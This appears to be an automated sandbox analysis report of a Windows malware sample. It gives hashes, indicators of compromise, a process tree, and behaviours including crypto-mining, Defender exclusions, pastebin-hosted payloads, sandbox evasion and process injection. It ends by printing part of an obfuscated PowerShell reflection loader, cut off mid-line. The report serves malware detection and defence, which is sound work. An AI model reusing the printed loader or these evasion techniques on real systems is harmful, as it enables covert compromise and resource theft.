Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20250610-en - resource tags
arch:x64arch:x86image:win10v2004-20250610-enlocale:en-usos:windows10-2004-x64system - submitted
08/10/2025, 04:07
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win10v2004-20250610-en
Behavioral task
behavioral2
Sample
file.exe
Resource
win11-20250502-en
General
- Target file.exe
- Size 8.3MB
- Sample251008-epp2hacl7t
- SHA256 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2
- MD5 02b214a1c45453a01667d3622b961568
- SHA1 6eae827670053cd6f4b5e60385099fc0313b6afe
- SHA512 c6f23ca610a64120d28c68b5823e73a99cfe02792633c9cdbc37814b00c8c6d64683408542f5e9d0dae8d79bd76ec35b1ba5365edcb5b567c3191dd50e55fd86
- SSDEEP 196608:GPX57oMXckusS9NmKFrjg/TTTk3RPz/DgTXDvfkeRLkiJjc42:Gf5/5u9XQTY3hebY6jf
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
description pid Process procid_target PID 5048 created 616 5048 powershell.EXE 5 PID 556 created 616 556 powershell.EXE 5 - Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 768 powershell.exe 3540 powershell.exe 5048 powershell.EXE 556 powershell.EXE - Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe - Creates new service(s) 2 TTPs
- Cryptocurrency Miner
Makes network request to known mining pool URL.
- Executes dropped EXE 1 IoCs
pid Process 4740 Svchost.exe - Stops running service(s) 4 TTPs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 17 pastebin.com 18 pastebin.com - Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 1336 powercfg.exe 4644 powercfg.exe 4980 powercfg.exe 3700 powercfg.exe 1536 powercfg.exe 2636 powercfg.exe 3636 powercfg.exe 1688 powercfg.exe - Drops file in System32 directory 17 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\MRT.exe Svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\MRT.exe file.exe File opened for modification C:\Windows\System32\Tasks\dialersvc64 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
pid Process 2348 file.exe 2348 file.exe 4740 Svchost.exe 4740 Svchost.exe - Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 2348 set thread context of 4532 2348 file.exe 105 PID 5048 set thread context of 4720 5048 powershell.EXE 120 PID 4740 set thread context of 4168 4740 Svchost.exe 140 PID 4740 set thread context of 3932 4740 Svchost.exe 144 PID 4740 set thread context of 388 4740 Svchost.exe 146 PID 556 set thread context of 2096 556 powershell.EXE 149 - Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 820 sc.exe 896 sc.exe 5456 sc.exe 3384 sc.exe 4368 sc.exe 5880 sc.exe 4084 sc.exe 5832 sc.exe 4428 sc.exe 5184 sc.exe 5720 sc.exe 3856 sc.exe 6048 sc.exe 4492 sc.exe - Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Mfg wmiprvse.exe - Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1759896534" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2348 file.exe 2348 file.exe 2348 file.exe 768 powershell.exe 768 powershell.exe 2348 file.exe 2348 file.exe 2348 file.exe 2348 file.exe 2348 file.exe 2348 file.exe 2348 file.exe 2348 file.exe 2348 file.exe 2348 file.exe 2348 file.exe 2348 file.exe 2348 file.exe 2348 file.exe 2348 file.exe 5048 powershell.EXE 5048 powershell.EXE 5048 powershell.EXE 4720 dllhost.exe 4720 dllhost.exe 4720 dllhost.exe 4720 dllhost.exe 4740 Svchost.exe 4740 Svchost.exe 4740 Svchost.exe 4720 dllhost.exe 4720 dllhost.exe 3540 powershell.exe 4720 dllhost.exe 4720 dllhost.exe 3540 powershell.exe 4720 dllhost.exe 4720 dllhost.exe 4720 dllhost.exe 4720 dllhost.exe 4720 dllhost.exe 4720 dllhost.exe 4720 dllhost.exe 4720 dllhost.exe 3540 powershell.exe 4720 dllhost.exe 4720 dllhost.exe 4720 dllhost.exe 4720 dllhost.exe 4720 dllhost.exe 4720 dllhost.exe 4720 dllhost.exe 4720 dllhost.exe 3540 powershell.exe 4720 dllhost.exe 4720 dllhost.exe 4720 dllhost.exe 4720 dllhost.exe 4720 dllhost.exe 4720 dllhost.exe 4740 Svchost.exe 4740 Svchost.exe 4740 Svchost.exe 4740 Svchost.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3424 Explorer.EXE - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 768 powershell.exe Token: SeShutdownPrivilege 2636 powercfg.exe Token: SeCreatePagefilePrivilege 2636 powercfg.exe Token: SeShutdownPrivilege 1536 powercfg.exe Token: SeCreatePagefilePrivilege 1536 powercfg.exe Token: SeShutdownPrivilege 3636 powercfg.exe Token: SeCreatePagefilePrivilege 3636 powercfg.exe Token: SeShutdownPrivilege 1688 powercfg.exe Token: SeCreatePagefilePrivilege 1688 powercfg.exe Token: SeDebugPrivilege 5048 powershell.EXE Token: SeDebugPrivilege 5048 powershell.EXE Token: SeDebugPrivilege 4720 dllhost.exe Token: SeDebugPrivilege 3540 powershell.exe Token: SeShutdownPrivilege 4644 powercfg.exe Token: SeCreatePagefilePrivilege 4644 powercfg.exe Token: SeShutdownPrivilege 1336 powercfg.exe Token: SeCreatePagefilePrivilege 1336 powercfg.exe Token: SeShutdownPrivilege 3700 powercfg.exe Token: SeCreatePagefilePrivilege 3700 powercfg.exe Token: SeShutdownPrivilege 4980 powercfg.exe Token: SeCreatePagefilePrivilege 4980 powercfg.exe Token: SeLockMemoryPrivilege 388 dialer.exe Token: SeDebugPrivilege 556 powershell.EXE Token: SeDebugPrivilege 556 powershell.EXE Token: SeDebugPrivilege 2096 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 2264 svchost.exe Token: SeIncreaseQuotaPrivilege 2264 svchost.exe Token: SeSecurityPrivilege 2264 svchost.exe Token: SeTakeOwnershipPrivilege 2264 svchost.exe Token: SeLoadDriverPrivilege 2264 svchost.exe Token: SeSystemtimePrivilege 2264 svchost.exe Token: SeBackupPrivilege 2264 svchost.exe Token: SeRestorePrivilege 2264 svchost.exe Token: SeShutdownPrivilege 2264 svchost.exe Token: SeSystemEnvironmentPrivilege 2264 svchost.exe Token: SeUndockPrivilege 2264 svchost.exe Token: SeManageVolumePrivilege 2264 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2264 svchost.exe Token: SeIncreaseQuotaPrivilege 2264 svchost.exe Token: SeSecurityPrivilege 2264 svchost.exe Token: SeTakeOwnershipPrivilege 2264 svchost.exe Token: SeLoadDriverPrivilege 2264 svchost.exe Token: SeSystemtimePrivilege 2264 svchost.exe Token: SeBackupPrivilege 2264 svchost.exe Token: SeRestorePrivilege 2264 svchost.exe Token: SeShutdownPrivilege 2264 svchost.exe Token: SeSystemEnvironmentPrivilege 2264 svchost.exe Token: SeUndockPrivilege 2264 svchost.exe Token: SeManageVolumePrivilege 2264 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2264 svchost.exe Token: SeIncreaseQuotaPrivilege 2264 svchost.exe Token: SeSecurityPrivilege 2264 svchost.exe Token: SeTakeOwnershipPrivilege 2264 svchost.exe Token: SeLoadDriverPrivilege 2264 svchost.exe Token: SeSystemtimePrivilege 2264 svchost.exe Token: SeBackupPrivilege 2264 svchost.exe Token: SeRestorePrivilege 2264 svchost.exe Token: SeShutdownPrivilege 2264 svchost.exe Token: SeSystemEnvironmentPrivilege 2264 svchost.exe Token: SeUndockPrivilege 2264 svchost.exe Token: SeManageVolumePrivilege 2264 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2264 svchost.exe Token: SeIncreaseQuotaPrivilege 2264 svchost.exe Token: SeSecurityPrivilege 2264 svchost.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 388 dialer.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1496 wrote to memory of 5864 1496 cmd.exe 93 PID 1496 wrote to memory of 5864 1496 cmd.exe 93 PID 2348 wrote to memory of 4532 2348 file.exe 105 PID 2348 wrote to memory of 4532 2348 file.exe 105 PID 2348 wrote to memory of 4532 2348 file.exe 105 PID 2348 wrote to memory of 4532 2348 file.exe 105 PID 2348 wrote to memory of 4532 2348 file.exe 105 PID 2348 wrote to memory of 4532 2348 file.exe 105 PID 5048 wrote to memory of 4720 5048 powershell.EXE 120 PID 5048 wrote to memory of 4720 5048 powershell.EXE 120 PID 5048 wrote to memory of 4720 5048 powershell.EXE 120 PID 5048 wrote to memory of 4720 5048 powershell.EXE 120 PID 5048 wrote to memory of 4720 5048 powershell.EXE 120 PID 5048 wrote to memory of 4720 5048 powershell.EXE 120 PID 5048 wrote to memory of 4720 5048 powershell.EXE 120 PID 5048 wrote to memory of 4720 5048 powershell.EXE 120 PID 4720 wrote to memory of 616 4720 dllhost.exe 5 PID 4720 wrote to memory of 680 4720 dllhost.exe 7 PID 4720 wrote to memory of 952 4720 dllhost.exe 12 PID 4720 wrote to memory of 60 4720 dllhost.exe 13 PID 4720 wrote to memory of 652 4720 dllhost.exe 14 PID 4720 wrote to memory of 1092 4720 dllhost.exe 16 PID 4720 wrote to memory of 1104 4720 dllhost.exe 17 PID 4720 wrote to memory of 1144 4720 dllhost.exe 18 PID 4720 wrote to memory of 1160 4720 dllhost.exe 19 PID 4720 wrote to memory of 1268 4720 dllhost.exe 20 PID 4720 wrote to memory of 1296 4720 dllhost.exe 21 PID 4720 wrote to memory of 1340 4720 dllhost.exe 22 PID 4720 wrote to memory of 1432 4720 dllhost.exe 23 PID 4720 wrote to memory of 1448 4720 dllhost.exe 24 PID 4720 wrote to memory of 1468 4720 dllhost.exe 25 PID 4720 wrote to memory of 1524 4720 dllhost.exe 26 PID 4720 wrote to memory of 1644 4720 dllhost.exe 27 PID 4720 wrote to memory of 1696 4720 dllhost.exe 28 PID 4720 wrote to memory of 1704 4720 dllhost.exe 29 PID 4720 wrote to memory of 1796 4720 dllhost.exe 30 PID 4720 wrote to memory of 1840 4720 dllhost.exe 31 PID 4720 wrote to memory of 1872 4720 dllhost.exe 32 PID 4720 wrote to memory of 1888 4720 dllhost.exe 33 PID 4720 wrote to memory of 1948 4720 dllhost.exe 34 PID 4720 wrote to memory of 1972 4720 dllhost.exe 35 PID 4720 wrote to memory of 1480 4720 dllhost.exe 36 PID 4720 wrote to memory of 2080 4720 dllhost.exe 38 PID 4720 wrote to memory of 2264 4720 dllhost.exe 39 PID 4720 wrote to memory of 2316 4720 dllhost.exe 40 PID 4720 wrote to memory of 2368 4720 dllhost.exe 41 PID 4720 wrote to memory of 2376 4720 dllhost.exe 42 PID 4720 wrote to memory of 2436 4720 dllhost.exe 43 PID 4720 wrote to memory of 2460 4720 dllhost.exe 44 PID 4720 wrote to memory of 2568 4720 dllhost.exe 45 PID 4720 wrote to memory of 2576 4720 dllhost.exe 46 PID 4720 wrote to memory of 2584 4720 dllhost.exe 47 PID 4720 wrote to memory of 2924 4720 dllhost.exe 48 PID 4720 wrote to memory of 3016 4720 dllhost.exe 49 PID 4720 wrote to memory of 3056 4720 dllhost.exe 50 PID 4720 wrote to memory of 3140 4720 dllhost.exe 51 PID 4720 wrote to memory of 3244 4720 dllhost.exe 52 PID 4720 wrote to memory of 3416 4720 dllhost.exe 53 PID 4720 wrote to memory of 3424 4720 dllhost.exe 54 PID 4720 wrote to memory of 3588 4720 dllhost.exe 55 PID 4720 wrote to memory of 3792 4720 dllhost.exe 56 PID 4720 wrote to memory of 3948 4720 dllhost.exe 58 PID 4720 wrote to memory of 3624 4720 dllhost.exe 60 PID 4720 wrote to memory of 4364 4720 dllhost.exe 62 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:616
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:60
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{4f788624-9f94-4855-97f1-f33feb4190c6}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4720
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{12b941d2-15d4-4ce6-ad05-920fd1f9db78}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2096
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:680
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:952
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:652
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1092
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1104
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1144 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:3140
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:fKyUlaByMOEV{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$dEAcDXHyjqhQfA,[Parameter(Position=1)][Type]$oIAJafQPwE)$IBylRliRXec=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+''+'e'+''+[Char](99)+''+[Char](116)+''+'e'+''+[Char](100)+''+'D'+'e'+'l'+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+'e'+''+[Char](109)+''+'o'+''+[Char](114)+''+[Char](121)+''+'M'+'o'+'d'+'ul'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+''+'T'+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+'la'+[Char](115)+''+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+'b'+[Char](108)+'ic,'+'S'+'e'+'a'+''+'l'+'e'+[Char](100)+''+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+''+'i'+''+[Char](67)+'l'+'a'+''+'s'+''+[Char](115)+','+'A'+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+'C'+'la'+'s'+''+[Char](115)+'',[MulticastDelegate]);$IBylRliRXec.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+[Char](108)+''+[Char](78)+'am'+'e'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$dEAcDXHyjqhQfA).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+'t'+''+'i'+'me'+','+''+'M'